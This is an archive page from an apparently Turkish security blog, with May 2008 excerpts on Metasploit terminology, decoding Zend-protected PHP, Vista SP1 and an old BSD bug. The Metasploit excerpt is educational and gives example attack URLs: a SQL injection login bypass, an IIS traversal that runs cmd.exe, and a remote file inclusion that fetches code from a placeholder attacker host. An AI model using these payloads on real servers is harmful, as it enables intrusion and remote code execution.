Monthly Archive: May 2008

29 May, 2008

Metasploit ile Güvenlik Denetimi

Metasploit ile Güvenlik Denetimi Terimler: Exploit : Bir sistemin yada programin güvenlik açigini kullanarak yetkisiz bir islem yapilmasini saglayan yöntem. http://sunucu/script/login.asp?uid=’ OR 1=1– http://sunucu/script/..%c0%af../winnt/system32/cmd.exe?/c+dir http://sunucu/script/index.php?dizin=http://saldırgan.com/kotukod.txt? Payload : Exploit sonrasi çalisip yetkisiz islevi gerçeklestirecek içerik. Shellcode:Exploit sonrasi çalisicak olan sisteme özel kodlar. Nop : “Not Operation” , bellek yeri öğrenme amaçlı bellek dolduran bitler.. Encoder : Çalışacak olan Shellcode’u değiştiren ve...

Ethical Hacker

18 May, 2008

Zend / Dezend İşlemi !

Bugun elime bir kaç sayfa kod geçti hımm zendle şifrelenmiş napabilirim diye düşürüm. Çok kısa bir araştırmadan sonra farklı kaynaklardan bulduğum , deneyip bir araya getirdiğim dosya ve yazılımlarla neyseki kodları sağlıklı bir şekilde decode edebildim : ) Arkadaşım için ve birgün birilerinede lazım olur diye zend ve dezend olayını bu işi yapan site ve yazılımları paylaşmak istedim. Zend Nedir...

Güvenlik Duyuruları

18 May, 2008

Yükleme İşlemi 1 Saat veya Daha Fazla Sürebilir

MCTS ( Microsoft Certified Technology Specialist) sınavına giricem diye laptop’uma Vista Ultimate kurmuştum. Hiç sevemediysemde uzun zamandır hala kullanıyorum.İnternette dolaşırken vista SP1 çıktığını gördüm malum benim bilgisayarımda otomatik güncelleştirme sürekli kapalı olduğu için vista’da bulunan güvenlik zaafiyetlerini ve eksikliklerini bir nevze olsun giderecek yamaların olduğu sp1 i kurayım dedim. 500 kusur mb boyuntudaki bu yamayı 36 k ile uzun sürsede...

Güvenlik Duyuruları / Linux/UNIX Güvenliği

16 May, 2008

BSD sistemlerde 25 yıl sonra fark edilen açık !

BSD sistemlerde 25 yıldır bulunan bir hata sonunda giderildi. Ve işte hata ayrıntıları… BSD tabanlı sistemlerde bulunan 25 yıllık hata bir kullanıcının şikayeti üzerine fark edilip düzeltildi. Bir OpenBSD kullanıcısının MS-DOS tabanlı sitemler için yazılan Samba’nın çökmesini bildirmesiyle ortaya çıkan açığı İsviçreli bir yazılımcı olan Marc Balmer’ın araştırması sonucu FreeBSD, NetBSD, OpenBSD hatta Mac OS X gibi Unix temelleri üzerine...

Ethical Hacker / Güvenlik Duyuruları